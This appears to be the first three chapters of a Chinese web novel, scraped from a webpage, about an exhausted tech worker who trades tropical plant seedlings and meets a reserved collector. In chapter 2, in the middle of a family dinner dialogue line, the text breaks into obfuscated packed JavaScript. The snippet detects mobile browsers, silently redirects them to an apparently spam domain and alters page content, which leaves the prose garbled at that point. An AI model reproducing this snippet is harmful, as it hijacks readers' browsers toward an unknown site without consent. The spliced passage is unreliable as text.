《喜欢植物的能是什么坏人》 1. 第 1 章 八点五十七。 许流年叼着肉包艰难从驾驶座挤出来，一手抓鼓囊囊的帆布包另一手端着一盆巴掌大小看起来十分柔弱的白色植物，抽空瞥了眼自己的座驾，确定它完美停在车位内没有影响邻居车后顺手把包放车前盖上，依旧端着植物，用空出来的手线上打卡。 打卡完成。 她松了口气，挎上包，边看手机边找电梯上楼。 身为一名社畜，许流年的时间大部分都在上班，要么，就是在上班的路上。 人活着，就是为了上班。 研究生毕业后进入某外企，后因同学推荐跳槽到现如今这个据说十分有前景且薪资丰裕的人工智能大厂，她彻底告别了朝九晚五双休带薪假，迎来属于她独一无二的995、三小时通勤以及即将到来的单休。 工资涨了三分之一，寿命缩短一半。 再加上紧接着如此恶劣的大环境，让许流年辞职不能、跳槽无望，在花儿一样的年纪深深陷入加班调休的恶性循环。 为此，许流年跟这位同学混成了好闺蜜，每周都会骚扰她隔三差五放血吃肉，以报当年内推之仇，她进了这个公司后连男朋友都跑了，——仇上加仇。 该死的公司楼下地下停车位月卡竟然还要五百块。 她每天进电梯都要辱骂一遍。 这破停车位停她一个小车都将将好，但是现在人手一辆SUV，但凡碰到邻居停一辆SUV她都得挤成肉饼才能爬出来。 季卡价格是一千二，听着很肉痛，但为了钱包着想许流年打算下个月换成季卡。 上个月她在股市suo哈，只留了生活费准备极限生存结果忘记停车费这回事只能找妈借了五百续上。 路上解决了早饭，在楼下买了杯咖啡，许流年扯了扯被帆布包压皱的风衣，顺便解放压在背带下的卷发，没什么光彩耷拉的眼睛在进办公室时粗略瞥了一眼同事们，然后就没精打采地找到自己的位置，麻木地开机。 将手里的植物放到自己工位上，用一张卫生纸垫底避免漏土，她才去洗了洗手，重新回到位置。 “哟，这是什么新玩意？” 刚倒完热水的林姐过来看见她工位上的小玩意，声音戏谑，还伸手扒拉了一下。 那动作看得许流年心头一紧。 刚发芽没多久的锦化绿天鹅绒海芋，她从刨出种球到播种到发芽展出第一片叶子再到如今半个手掌大小足足等待了四个月，被人类的脏手一碰，那脆弱的全白叶片几乎要被迫夭折。 “刚卖出去的植物，一百五。” 一听价格，林姐很识相地收了手，体面笑了笑，去别处转悠了。 谁能想到这么一个小鼻嘎还得上百块呢。 许流年在的这个分公司跟总部风气不太一样，大概率是因为这里人员混杂，不同项目组混在一起，实习生外包也混在一起，甚至不同部门的人也混在一起。 很明显这个分公司没有强迫症。 刚刚那位林姐是公司老员工了，是另一个项目负责人，年纪也长，所以许流年正常叫她姐，两人之间结下的梁子还得从许流年入职那段时间说起，太过久远，许流年自己都记不太清了，但她很明确知道一点：她跟这人性格不合。 许流年将鹅锦挪了位置，放在靠近窗户的这一侧，才慢悠悠开始工作。 首先得给她手下那两个实习生布置任务。 最近她刚接手一个新项目，因为同组一个同事离职，现在组里只有她跟一个实习生，还有一个外包，明显人手不够，于是公司“贴心”地给她招了一个新实习生减轻压力，昨天又招了一个给外包带去了。 许流年一直都不太能理解该公司的脑回路。 原本她带着一个半熟悉流程的实习生一个熟练工加加班勉强能完成任务，现在让她们一边带新人一边加班干活，还得在规定时间内完成任务，他们管这操作叫，减轻压力？ 呵呵。 再说这两位，许流年都不想提。 经过一周时间相处，她已然认命，并亲切地给这两位大神起了新的代号：卧龙与凤雏。 卧龙离实习期结束还有两个月，一早就到了工位矜矜业业开始填写她昨天制作好的表格，大概就是总结这一阶段的数据成果。 许流年眼睁睁看着她在表格内疯狂用空格排版，果不其然数据一团糟。 许流年闭上了眼睛。 凤雏刚进公司一周，今天来得有点晚，九点十五将将坐上工位，痛苦哀嚎自己逝去的全勤奖。 许流年深深吐出一口气，手心抹了把脸，心想：实习期没有全勤奖。 爱咋咋地吧。 揉了揉发酸的腰，看看时间已经将近十一点，差不多要吃饭了，许流年点了外卖就开始摸鱼，先看看她的基们。 今天周四了，似乎是为了响应四这个不详的谐音，她所有的，没错，所有的基都绿了。 重仓的那位预估今天至少要跌五个点。 许流年眼前一黑，感觉脑部供血不足，脑子都空白了一瞬。 此时电脑界面弹出了卧龙给她发的消息。 许流年深吸一口气，点开。 很好，数据全错，没一个对的。 她熟练地把之前发给她的规则重新截图，红笔划出重点，点击发送。 挨个哀悼她的基们，许流年继续刷手机。 王中王：宝宝出来健身呀～ 王中王：给你又加了三十节课，咱们一起练，今天练腿哦～ 王中王：还是上次那个八块腹肌～ 妖娆的波浪号充斥着屏幕，许流年面无表情打字回复：不去。 为了补偿她被内推进这个魔窟，始作俑者唐珏自愿充当血包，有什么福利都会想着她的好闺闺，哦对，当年她把许流年推进来后很快就辞职去干自媒体了，现在是个小火的美妆博主，挣了钱之后横扫股市，运气好得离谱，三年时间已经实现经济自由，近期沉迷健身，为了拉她下水还给她报了私教课。 王中王：今天周四啊，宝宝不是不加班吗？ 许流年目前一三五加班到晚九点，二四正常五点下班，她的作息唐珏是知道的。 补仓娇妻带球跑：我要回去补觉，每天只睡六个小时还健身，你是嫌我命太长？ 王中王：也不是要健身，可以看看男人嘛。 补仓娇妻带球跑：不去。 那健身房许流年去过一次，那位私教她也见过一次，身材确实很顶，大奶男妈妈还有细腰鲨鱼肌，一八五标准身高，脸也不错，二十出头的年纪，放到网上就是标准的擦边模板。 可惜她现在已经没那个精力去看男人了。 有些女人，过了二十五就没X欲了呢。 王中王：行吧，那我给你带小蛋糕？ 许流年高冷地引用回复了一个对勾，然后看看时间已经到十一点半，带着手机下楼吃饭去。 他们公司午休时间是十一点四十到一点半，她一般十一点半就下楼吃饭，有空的话还能回车上睡个午觉补一补。 下午再把手上的活干完，解决了几个卧龙凤雏的疑问，中途去倒水喝，看见走廊熟悉的深意。 工作久了，身边总会有那么几个固定NPC，比如这位夏天穿毛衣给许流年留下深刻印象的小伙子，此时已经刷新在固定地点给女朋友打电话，两人正在回味刚刚一起度过的七夕佳节，接下来就是熟练地腻歪。 可怜的小情侣996都要谈恋爱，每次见面还得挤时间，平时只能煲电话粥联络感情。 许流年的前男友就是这样跑路的。 她看向小伙的眼神带着些许悲悯，在走廊玩了会儿手机，正好碰到调去别组的同事，两人聊了会儿。 “听说了吗？”同事鬼鬼祟祟凑过来小声问。 “听说了，下周开始周六加班。”许流年淡定地喝了口温水。 这消息早传遍了，她心里已经毫无波澜。 该来的总是要来的。 “不是这个，”同事露出一副“你果然不知道”的表情，更小声地对她说：“估计加不成了。” “嗯？”这的确是在她意料之外。 因为比蜗牛磨叽的项目进度以及人事部火箭般的招新速度，他们大部分项目就跟某些数学题一样，每天白天爬五米晚上滑四点九米，根本不指望能推进，公司一拍脑门想出了个好办法：加班。 不给加班费的那种哦。 突然又不加了，咋了？项目不要啦？公司要黄啦？ 看见许流年充满求知欲的表情，同事言简意赅：“听说总部昨天工位上猝死了一个小姑娘，晚上十点加班的时候。” 许流年一阵唏嘘。 她知道总部卷，惨无人道的卷，所以之前在有机会“获得更好发展”的时候坚定拒绝了，理由是她是个孝顺孩子，要留在父母身边，他们也就没为难她。 但没想到总部卷得这么没人性。 同事叹了口气：“别说，我最近晚上下班也总觉得心突突的，想着改天要不要去做个心电图。” 许流年：“记得叫上我。” 同事比了个OK的手势，唠完嗑就回工位去了，她的负责人是林姐，管的严，最见不得手底下员工擅自离岗。 许流年又去补了水，才回去干活。 同为负责人，许流年不爱盯自己手底下人，只要任务干完，她不介意他们摸鱼。 但这一准则无法用在新招的实习生上，因为卧龙凤雏经验不足，完不成任务完全是情理之中的事，而且这两位态度还特别好，她实在是没办法勉强，只能佛系对待。 到了下班时间许流年终于活了过来，捞起椅子上的风衣挂在手臂上，对着漆黑的电脑屏幕简单补了点口红提提气色，再端起工位上的白色植物卡点打卡下班。 初秋的江城气温永远是个迷，比如现在明明是九月中旬，昨天竟然还有高温预警，而晚上一场雨，今早温度就降到三十度以下，出门竟然还有点凉，空调充足的办公区更是一片寒意，加班过度虚得不行的许流年也不得不穿上外套避免感冒。 这个季节最容易感冒。 她可不想在这个时候身体还出问题，那她手里这个项目恐怕就真的完了。 许流年没带包，只用一个装咖啡的纸袋装着那棵鹅锦，尺寸竟然出乎意料的刚刚好，完美保护这棵脆弱的小植物，她一边往地铁站走一边在闲鱼上给人发消息。 AAA出小苗回血苦命老王：虽然前几片叶子带一点绿，但已经连续两片叶子全白了，大概率这棵苗活不长。 许流年的生活中最重要的爱好就是养植物，目前主要玩热植，她跟父母住在家里，空间有限，她又是品种控很贪心，尤其喜欢各种繁殖小苗，热植前些年价格高，她为了收集品种出了不少血，最近终于学会以贩养吸，开了账号吸引粉丝卖自己繁殖的的小苗回血。 几年前超火的绿天鹅如今已经烂大街9.9包邮，好在锦化植物热度依旧，虽然现在鹅锦的价 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对方账号没有任何动态，交易记录倒是不少，照片中能看出来这人是个自己玩花烛杂交的大佬，原本这些基础常识许流年是不需要特地提醒的，但她今天不加班心情不错，而她又是真的很喜欢他手上那棵奢华杂，虽然还是小苗但看得出来品相好，完美长在她的审美点上，想着交个朋友说不定能从大佬手里捞一些多余的小苗，许流年对这次交易还是很上心的。 花烛杂交纯看运气，有时候同样的父本母本，播出来的小苗性状可能差别很大，所以需要看小苗长出略大的叶子看见叶子品相才能大概知道这棵小苗长大如何，这棵是奢华杂戴斯，图片上已经能看出看出肌肉纹理，颜色也是许流年喜欢的暗黑系，但是这种杂后续可能性状不稳定，之后也只能看运气。 这么一比，这场交易还算公平。 对方回消息很快。 XXXXX：到了。 XXXXX：【引用】没关系。 许流年站在C出口闸机外，对着口子拍了张照片发过去，依旧靠着墙等待。 她身虚体弱，腰还不好，靠自己直立行走真的很累，靠着墙玩手机就会舒服很多，感觉整个人气血都顺了。 估摸着人快到了，她把手机收进口袋，站直身体，再把鹅锦从纸袋里掏出来捧在手心以彰显身份。 这样应该很明显吧？ 她不是第一次交易，之前也出过很多苗，买植物的人还是很好认的。 沉迷植物的人身上大多带着一种与世无争的气质，习惯沉静在自己世界当中，这类人群基本上只要一对视，对方就会跟上了发条似的突然打起精神快步走过来，眼睛还会紧紧盯着她手里的苗，毫无杂念。 许流年看着扶梯口，很快就确认了自己的交易对象。 第一眼看上去最吸引人注意的是这人明显过分白的皮肤，简单没有印花的黑色T恤领口恰到好处地露出一点突出的伶仃锁骨，宽肩，整个人显得瘦长，目测得有185，手里拎着一个看起来有点瘪的牛皮纸袋。 许流年是不太会盯着人脸一直看的那种人，她觉得很没礼貌，所以最后视线才落到这人脸上。 游离的视线忽然找寻到了锚点，对视上的瞬间，许流年血气不足的脑子忽然充盈起来。 这张脸真是……赏心悦目啊。 黑发白皮，他的瞳孔颜色几乎跟头发一样与众不同的黑，单薄眼皮下鸦羽一般睫毛背着光投下的阴影散落在皮肤之上，轻眨的瞬间，眼神聚焦。 许流年麻利地端起手里的鹅锦，另一手勾着纸袋，面带微笑迎接来客。 看这长相就是大学生，白白嫩嫩的十分可口，啧，她一向不喜欢弟弟这一类的，但今天突然觉得自己的审美还是太过狭隘。 “AAA出小苗回血苦命老王？” “……” 自己的ID就这么被念出来，许流年那一瞬间只想当场跑路。 有种在小孩面前丢脸的羞耻感。 成年人的稳重体面让她依旧微笑站在原地，点了点头，跟他对起了暗号：“五个叉？” “……” 从对方的沉默中许流年知道了，自己成功让他跟自己感同身受。 没想到自己高冷的ID也会变得这么拿不出手吧弟弟。 他默不作声从纸袋里掏出…… 一棵新鲜叶损的奢华杂花烛。 两人一齐当场愣住。 目光默契地汇聚在他手心那盆植物。 照片上完整美好刚刚长成的新叶跟一张平平无奇的A4纸一样被对折了。 对、折、了！ 这跟在美人脸上打叉有什么区别！ 谁啊！到底是谁啊！她完美的新叶怎么就被打了叉啊！！！ “不好意思。”漂亮弟弟声线甚至没有任何情绪波动，“可能是路上不小心碰到了。” 许流年：“那怎么办？” “我家在附近，你要是有时间的话现在过去挑一棵？地铁两站路。” 这种邀请放在任何一个其他男人身上许流年都会拒绝，但在他们这种养植物的人来看，邀请去对方家里并不是某种暧昧的请求，因为大部分人都是在自己家里养热植，家就是苗圃，许流年也有一些朋友，偶尔会互相串门看看对方“苗圃现状”，再商量着互换植物。 面前这个个子虽然看着比她高一些、身形却显得削瘦、明显不怎么出门充满活人微死气息的死宅、他给人甚至有一点点养胃的感觉……最后再加上这张脸。 嗯，就算打起来，她也是胜算更高的那一方。 “走。” 许流年扫码进了闸。 喜欢植物的能是什么坏人，她这么想着。 2. 第 2 章 过安检的时候许流年端着鹅锦让人扫了两下，手里的纸袋也打开给人检查。 安检完发现那人站在原地看自己。 许流年不明所以，继续跟着他下扶梯上地铁。 两站路，这个点地铁上人挤人，许流年连寒暄的时间都没有，差点被挤走，要不是他在到站的时候拽了她一把说不定她都下不来。 “谢谢啊。”许流年手里的植物安然无恙，另一手理了理被挤皱的衣服。 然后她就跟在人屁股后边往外走。 因为实在太沉默，许流年就找话题跟人聊天。 “你们还没开学啊？” 他停下脚步，回头看了她一眼，并没回答她的问题。 许流年没看明白，但是也察觉到了这人的冷淡跟不好相处，干脆不再说话。 啧，没礼貌的弟弟。 一直到她跟着人进了小区，上电梯，指纹解锁。 “要换鞋吗？”她很有礼貌地问。 “不用。” 那她就不客气了，直接走了进去。 不愧是这附近的高档小区，这一望无际的大平层，这一览无余的江景，这……卧槽！一整面热植墙？ 许流年血液沸腾，小碎步上前瞻仰。 人在圈子里混的够久，眼界总会开阔一些。 她在江城有不少的朋友，也去过本地一些比较有名的热植博主家，当然见过他们豪气十足的热植墙。 现在眼前这个，以她刷短视频的频率竟然从没在社交软件上见过，但是规模之庞大、种类之丰富、巨物之繁多，绝对是她印象中最豪华的热植墙！ 玩热植的人都有自己心里的一套评判标准，但对于养植物的人来说，最最有成就感的还是把一棵刚发芽或瘦弱切段或巴掌大小的小苗用几年时间养成叶长七八十厘米甚至一两米的巨物。 他家里正对面是一整片落地窗，热植墙设置在原本电视机的位置，上方是一排整齐的补光灯，周围还有喷淋设备，但并不显眼，在植物中隐藏得很好。这一面墙最扎眼的不是那棵气生根爆炸的南美荧光蔓绿绒，而是巨物之下各种各样的花烛，那品相比人家直播间里的都要好，中心那棵完美的脑纹帝王简直就是许流年今生挚爱，反而两边的锦化龟背竹都成了点缀。 这年头谁手里还没两颗锦化龟背竹呢，外边切段都白菜价了好吗。 许流年眼睛跟黏在热植墙上一样，伸手一指里面一颗看起来小一些的花烛：“这个卖吗？” 那是一棵几乎纯黑的奢华花烛，整片叶子是独特的皮革质感，完美的心形中有凸起的纹路，反射着补光灯的光线，就像是黑色皮革上铺了一层金箔般华丽。 “不卖。”男人冷漠的声音响起。 “这个呢？” 她小手一指，就是一棵精致优雅的领带花烛，区别于她之前见过的品种，这一棵纹路格外好看 “不卖。” “这个。” 这次是一棵看起来平平无奇却是纯黑的花烛。 实际贵的要命，是近期大火的某个杂交花烛。 他看了她一眼，这一眼大概意思就是：你到底在痴心妄想什么。 “小苗区在这边。”他抬手一指旁边。 许流年不敢伸手摸，她怕摸坏了赔不起，痴痴看了许久，才跟着他到玻璃隔断的旁边阳台空间，期间视线掠过了一个超大雨林缸隐约还似乎看到了角蛙？ 他把这一片阳台区域都改成了小苗区，整齐的花架上放着各式各样插着标签牌的小苗。 不仅有花烛，也有其他天南星科植物。 看过了好货，再看这些许流年就有点看不进去了。 “挑一个，跟叶损的那棵一起带走。”他说。 这语气比起之前可要大方得多。 都这么多小苗了多送几棵会死啊真小气啧。 许流年保持着大姐姐成年人的体面，一头扎进小苗区挑挑选选。 他标签牌写的很清楚，每个小苗母本父本都写在上边。 最后许流年挑了一个kos侧芽，因为这家伙母本就在墙上挂着，她看了它妈的长相后义无反顾选中了这个小家伙，并且表示愿意补差价。 冷知识，一棵kos侧芽小苗市场价在三百左右，具体得看品相。 而一颗鹅锦小苗价格在三四十。 许流年是做好了出血的准备的。 她不是白嫖党。 她在小苗区已经逛了足足一小时，完全忘我，等反应过来跟人讨价还价时，他不知道什么时候开了一罐可口可乐拎在手里，靠着一张黑色长桌玩手机，低头时的眉眼在灯光下一览无余。 仔细看这张脸，又没了在地铁站时的那种少年气，反而显得成熟些，这让许流年开始怀疑自己是不是先入为主猜错了人家年纪。 虽然削瘦，但皮下的顶级骨相依旧让人挪不开眼。 “嗯，可以。”他依旧在看手机，似乎无所谓她拿了什么，最后捏着可乐的手抬了抬，“出门记得帮忙带走垃圾，就当是补差价。” “……好的。” 省了钱的许流年用自己的纸袋装好kos跟那棵叶损的奢华杂，出门前清理了视线范围内的垃圾桶，拎着两袋垃圾，在门口跟人寒暄：“我看你也有鹅锦，怎么还找人换啊？” “没有全白的。” 两人一人在门内一人在门外，黑色大门开了个人大小的口子，是他刚把她放出去时打开的，因为她又驻足闲聊才保持这样尴尬的空间，他手搭在门沿，要关门的姿态再明显不过。 “其实我家里还有不少小苗，要不咱们加个联系方式以后有空继续互换？”许流年觉得自己这辈子求职都没这么诚恳过。 “再说吧。” 这语气，她再打扰人家就很不礼貌了。 许流年体面地选择放弃，转身就走。 过了会儿，身后才传来关门的声音。 天都快黑了，她坐地铁回去，在地铁上又瞻仰了一遍全绿的基们，看了看纸袋里的小苗舒缓心情，又收到唐珏的消息。 王中王：【小蛋糕照片】 王中王：到你家了。 王中王：你爸妈都下班了，你咋还没回？ 两人家离得近，唐珏这个人又十分清闲，她家已经成了唐小姐的第二故乡，隔三差五就衣锦还乡。 许流年拍了张小苗照片，给她回复还有一个小时到家。 都坐上地铁了，她也懒得去公司取车，正好唐珏在，明早让她开车送她上班也是一样的。 不慌不忙到家，路上她跟个变态似的把人家XXXXX咸鱼上的动态刷了个遍，反复观看两人的两条记录。 实际上他的动态里除了头像ID以外什么都没有，这家伙根本不在上边卖东西，而她又看不见人家的交易记录，只能点进聊天框续上这段“情缘”。 毕竟是他先来问她买东西，此前两人聊天就属于正常的交易范畴，规规矩矩的。 许流年斟酌着给人发消息：给个好评呗小哥哥～ 打完字自己在地铁上yue了一下才缓过来，正好到站，拎起东西下车回家。 她家灯火通明，玄关处鞋架上放满了鞋，因为被唐珏的鞋占了位置，许流年自己的没地方放，只能收拾好放在旁边再去换拖鞋，结果发现她的拖鞋也被征用，她深吸一口气拿了双备用的拖鞋。 “宝宝回来啦～”唐珏从她房间里钻出来，掐着嗓子扑过来。 要不是许流年是个170的高个子，身体底子还算不错，不然能被她创趴下。 “蛋糕呢？”她今天绿了一整天，急需要甜甜的东西舒缓心情。 “晚点再吃吧，咱们煮点馄饨先吃饭，你妈还在学校上晚自习。”她爸从厨房探出头。 “对对！我特地买的手工馄饨！皮蛋鲜肉的！” 唐珏每次来都自备干粮，正好解决了他们社畜一家三口的晚饭问题。 她妈王女士目前还没退休，至今还在一线高三教语文，甚至每周都有两个晚自习，周六也要加班上课，回家时间直接跟她这个大厂流水线数据女工齐平，她爸国企上班，工作算是家里最轻松的了，但也是朝九晚五，因为下班最早，常年负责晚饭工作。 趁着煮馄饨的时间，许流年先去阳台看看自己的宝贝们。 她在家里有两个空间养植物，一是客厅阳台，空间不算大，只有四五个平方；二是她的卧室，飘窗连带着飘窗所在的一面墙都被她用来养植物，致力于充分利用每一平米的采光空间。 阳台光照相对好一些，养了一些她从小带到大的、能耐晒的热植，比如她的各种锦化龟背竹，但最重要的还是那棵养了四年的密叶猴耳环，每年的修剪塑形施肥浇水，如今主干已经有婴儿手臂粗细，这些年她也一直在高压枝条，授粉收种子播种养小苗，算下来给她还创收不少，——至少比她的基更挣钱。 她养的植物多，空间小，就显得拥挤，家里为了让她养植物已经把衣服都晾出去了，床单被罩还得去顶楼晾晒，王女士对此颇有微词，但也拿女儿没办法。 今天刚看了人家豪华大平层，再看自己的小阳台许流年心里就不得劲起来，明明她的宝贝们也养的很好，却只能委屈在这个小小空间，还不能随便买买买，因为家里真的放不下。 将今天新得的小苗安置好，原盆里的土看配土甚至比她自己配的还舍得下本钱，再加上苗还小就不需要换盆里。 打理植物的时候许流年就在琢磨自己的存款。 要不换个大房子吧？ 她能有更大的空间养植物，一家人也住的更舒服，最近房价不是跌跌跌跌到厌倦吗？ “来吃饭！” 她爸一声吼，许流年一把把水壶里的水倒给密叶猴耳环，放下水壶哒哒跑过去吃饭。 唐珏跟在自家似的已经坐好正在玩手机。 许流年去厨房端了两碗馄饨，在她面前放一碗，刚坐下，斟酌好言语看见她爸也坐下才开口。 “爸，要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553749|186831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们家买个房吧，趁咱们都有工作，一家三口公积金肯定是够还贷款了。” “你妈说回来给你介绍相亲，吴老师家的外甥，海龟，金融公司上班……买什么房？” 相亲啊，许流年倒是不介意。 她这个工作时间跟作息也碰不到什么优质对象，她爸妈人缘广，给她介绍相亲也不是头一回了。 反正，交个朋友嘛。 “行，知道了，那房子……” “等你妈回来再说，看她的意见。” 她爸一向没什么主见，家里都是王女士说了算，许流年也就不再啰嗦，乖乖吃馄饨。 别说，很好吃。 唐珏：“你想买房的话咱们一起呗，正好最近房价下来了，我囤两个房子，反正钱放着也是放着。” 啧，囤字能这么用吗？ 一听唐珏要买房，许建国想起来：“小珏你不是之前买了两套的吗？买这么多住得过来吗？女孩子家还是要留点现金在手里才好哇，你父母都不在，得做长远打算呐，不要想一出就一出，到时候正需要花钱，哟，没有。” 建国同志爹味又上来了。 “没事啦，我最近财运不错，爸妈在上头保佑我呢。” 许流年和许建国：“……” 这孩子可真开朗。 别人父母双亡童年创伤，到唐珏这里就变成了管他呢我上头有人。 但奇怪的是，她这个人确实一直运气都很不错。 比如做美妆博主意外走红，等这个赛道卷起来，她又早早跟着前男友炒股，纵横股市三年有余，挣得比许流年跟她爸加一起翻十倍都多。 许建国同志还被白酒套着呢，至今都没能回本。 馄饨吃到一半，门口传来动静，许建国条件反射似的蹿了起来去厨房下馄饨，王女士进屋看见唐珏打了声招呼，看见桌上的馄饨就猜到又是唐珏带来的。 对于他们一家三口经常受唐珏接济这件事，王女士心里多多少少是有点膈应的，她不像他们父女俩那么心大，她觉得自己作为一个长辈老是占小孩的便宜有失体统。 但馄饨都吃了，王宛又不能让他们吐出来，于是坐下后，她对唐珏说：“我一个同事家的外甥刚回国，一米八，有健身习惯，在金融公司工作，要不联系方式推给你，见一见？” 许流年觉得这话似曾相识，抬起脑袋，看向亲妈：“那不是我的相亲对象吗？” 王宛瞥了眼她面前的馄饨，“你往后稍稍，小珏先见，她要是觉得不行你再上。” 唐珏兴高采烈：“好嘞阿姨！” 许流年：“……” 吃人嘴短，许流年朝厨房喊了一句：“再加一碗！” 等到人坐齐，许流年又提起买房的事。 王女士听完，斟酌片刻，才开口：“嗯，买房可以，先确定需求，我跟你爸在这里都住习惯了，离我们单位也近，再搬家也太折腾，为了你工作方便，可以考虑在你单位附近买一套，你有看中的吗？” 她一松口，许流年就来劲了。 她将手机屏幕转向对着二老，“我看中了这个小区。” 两人目光汇聚在她手机上，许流年旁边的唐珏也伸长脖子扭头去看。 正是许流年今天刚刚光顾且念念不忘的大平层。 许建国：“……你太高估我们的实力了。” 王宛：“下一个。” 唐珏却是真的在考虑，“这个小区挺好的呀，特别保值，环境也很好，我有朋友住在这儿呢。” “是吧是吧，我也觉得！”许流年是真的动心了，“首付不到一百万！” 许建国眉毛抽搐：“月供呢？” 许流年语气天真活泼：“两万多！爸妈咱们一家三口一人摊七千就行了！” 王宛忍无可忍：“闭嘴吧，公积金最高只能贷一百二十万，你总价六百多万的房子，让我跟你爸喝西北风啊？！” 谁家好女儿让父母五十高龄背上千万巨额房贷哇？ 许流年收回手机，“做梦又不犯法。” 她现在这个工资，干到她退休都挣不到六百万。 该死的这世上有钱人这么多多她一个怎么了！ 房子她是真喜欢，家里也是真的买不起。 趁着一家三口都在，商量一番，最后还是决定……重新装修。 其实他们家也有一百平，一家三口住是足够的，原本阳台空间也足够大，只是因为几十年前的装修风格原因显得逼仄。 明明就这么点地方，还得划出个三室一厅两卫出来，那肯定是每个空间都小小的，住着不舒服。 唐珏帮忙推荐了设计师，许流年跟爸妈一合计，重新装修的钱还是足够的，也不用背贷款，家里的家具家电也是时候更新，她爸眼馋洗碗机好几年了。 这事就这么定下来。 逃脱了千万房贷的王女士跟建国同志语气都轻松起来，甚至同意她继续在未来的洗衣区跟新阳台继续养她的花花草草。 3. 第 3 章 按照惯例，唐珏睡许流年房里。 两人这么多年好闺蜜隔三差五就见面，再多的八卦新闻小消息也会被消磨干净，不是所有闺蜜都会夜谈，她俩这个年纪上了床就只顾着刷手机嘎嘎笑。 结果就是十二点入睡，早六点半唐珏被她的闹钟吵醒。 许流年已经习惯死亡作息，爬起来机械般去洗漱，唐珏这么多年都没上过班，日常两点睡两点起，七点这个点是她正常深度睡眠时间，但她神经衰弱，一旦被吵醒很难再睡着，此刻又困又精神状态癫狂。 再加上外边也传来动静，是要准备上早自习的阿姨跟买早饭回来的叔叔，他俩都已经收拾好准备出门了。 唐珏只能拖着疲惫的身躯洗漱，去吃早饭。 吃了早饭，还得当司机送闺蜜上班。 唐珏一脸生无可恋坐上驾驶座，素颜黑眼圈鸡毛头扭过来看她好闺闺对着镜子化妆，气若游丝开口：“你每天这个点起不怕猝死吗？” 她感觉自己都快断气了。 “怕有什么用，迟到全勤没了，还要扣五十，我一天饭钱就没了。”许流年淡然开口。 “这真的不算疲劳驾驶吗？”唐珏放了首舒缓的音乐，开始嘀咕，“交警就该把你们这群通勤两小时的疲劳驾驶统统抓起来。” 许流年抿抿唇，确定口红完美后关上镜子，收拾好小包，“嗯嗯，你说的对，最好把上班时间调到十点之后，让大家都能睡个好觉。” 唐珏愤愤踩油门，上高速。 平时许流年可舍不得开车上高速，要花钱的。 但今天富婆请客，她也就无所谓了。 因为唐珏早起困难，今天比她平时上班晚了半小时出门，不上高速必定迟到。 结果就是……她们堵在了高速口。 唐珏拿到驾照也有五六年了，平时也习惯自己开车出门，但她没经历过早高峰的洗礼，又是典型的防御性驾驶，习惯跟前车保持距离，因此在驶向高速口的途中她就被好几辆车超车。 一早上的低血压都治好了。 到了二并一的路口，许流年就眼睁睁看着自己的好闺闺被右侧车辆别到了半个车头都在实线外，而左侧，还有俩逆行超车试图从她这个软柿子留出的安全距离给自己车头怼进去。 唐珏要疯了：“没摄像头吗？他们驾驶证是有一百二十分吗？！这是实线！！！它都逆行了！！！它当交通法是摆设吗？！！！！” 许流年看准右侧车辆玩手机分神间隙，提醒唐珏踩一脚油门，她伸手一抽方向盘。 黑色奔驰E流畅地走了个s，重新回到了自己的车道，后视镜离右侧那位目测只有两厘米，同时拉近了与前车的距离，左侧车也插车无望，只能踩刹车寻找下一个软柿子，同时面临着前方正对面正常行驶车辆的暴躁鸣笛。 许流年在副驾驶车窗半降，就看见几厘米外的老登放下手机朝她们看过来，许流年赏了个白眼，老登就把车窗升上去了。 别说，他们这车距都快吻上去了。 有点暧昧哦。 但一旦剐蹭，对方全责，好歹唐珏开的是奔驰E，老登也不敢造次。 唐珏的气这才顺了一些。 她学乖了，老老实实往前贴，终于磨磨蹭蹭上了高速，车速也起来了。 许流年打个哈欠，调整座椅：“到了叫我，我补个觉哈。” 今天周五，下午还得开会，许流年等着听底下人的进度汇报。 然而，熟知他们秉性，许流年没有抱多大希望。 唐珏上了高速心情好了话也更多，还约她周六去健身，这次许流年没拒绝，因为现在周六不用加班，而她确实挺想见见八块腹肌调整调整激素。 她一边在工作群里提醒今下午的会，一边扭头冲唐珏说：“那我今天就去你家睡？明天健完身再回去？” “行，健完身顺便陪我去吃个饭，最近江城新开了一家米一餐厅。” 啊，又是难吃的漂亮饭。 车停在公司楼下。 许流年比了个OK就上班去了。 顺道刷了下咸鱼上的聊天记录。 大平层热植墙没回她消息，但她消息右下方出现了灰蒙蒙的“已读”，许流年抿唇笑笑，眉梢轻挑，在班味浓重的电梯里表情是难得的鲜活。 已读不回啊。 果然是个弟弟。 “小许哇——” 正想着怎么继续骚扰大平层，身边传来一道熟悉的声音。 是隔壁部门的财务大姐，人到中年最大的爱好就是当红娘牵线搭桥，恨不得化身喜鹊丘比特为公司内部男男女女解决个人问题，她这个语气一冒出来，许流年心里就基本有数了。 “您有我微信，咱们微信上聊哈，我得上班去了。”许流年微笑摆摆手，态度要多和气有多和气，电梯门一开，就灵活从人群中挤了出去，跑了。 果不其然，许流年还没坐下，就收到了大姐长达60s的语音。 直接转文字。 ——小许哇，我知道之前几次介绍都不太愉快，但这次姐可是给你精挑细选的，你可一定要信姐，姐还能害你吗？这次这个A大毕业，还是个硕士，就在隔壁楼上班，长得是一表人材，听说他们公司好多小姑娘都追他呢，这是咱们关系好走得近这种好资源我怎么会便宜别人？你也年纪不小啦，不要挑挑拣拣啦，我把你微信推给人家啦，好好聊，成了姐还能吃你喜酒！ 这年头，适婚年纪的人没点脑子是真看不懂这些介绍人的话。 这段话中着重提到学历，没提薪资，而大姐很清楚她的薪资水平，所以很可能这位男嘉宾工资没她高所以就没提，整体看来这人拿得出手的大概就是A大硕士毕业，A大的确是江城985，但没强调本科，那大概率本科不是A大，矛盾点也很奇怪，很多女孩追为什么又沦落到需要相亲？也没提身高。 哦，答案呼之欲出。 上次大姐说年薪百万，身形微胖，面容和蔼。 见面发现离异带娃，心宽体胖，年过四旬。 上上次大姐说是她姐姐家的侄子，帅的一批，年轻有活力，会说话会哄人。 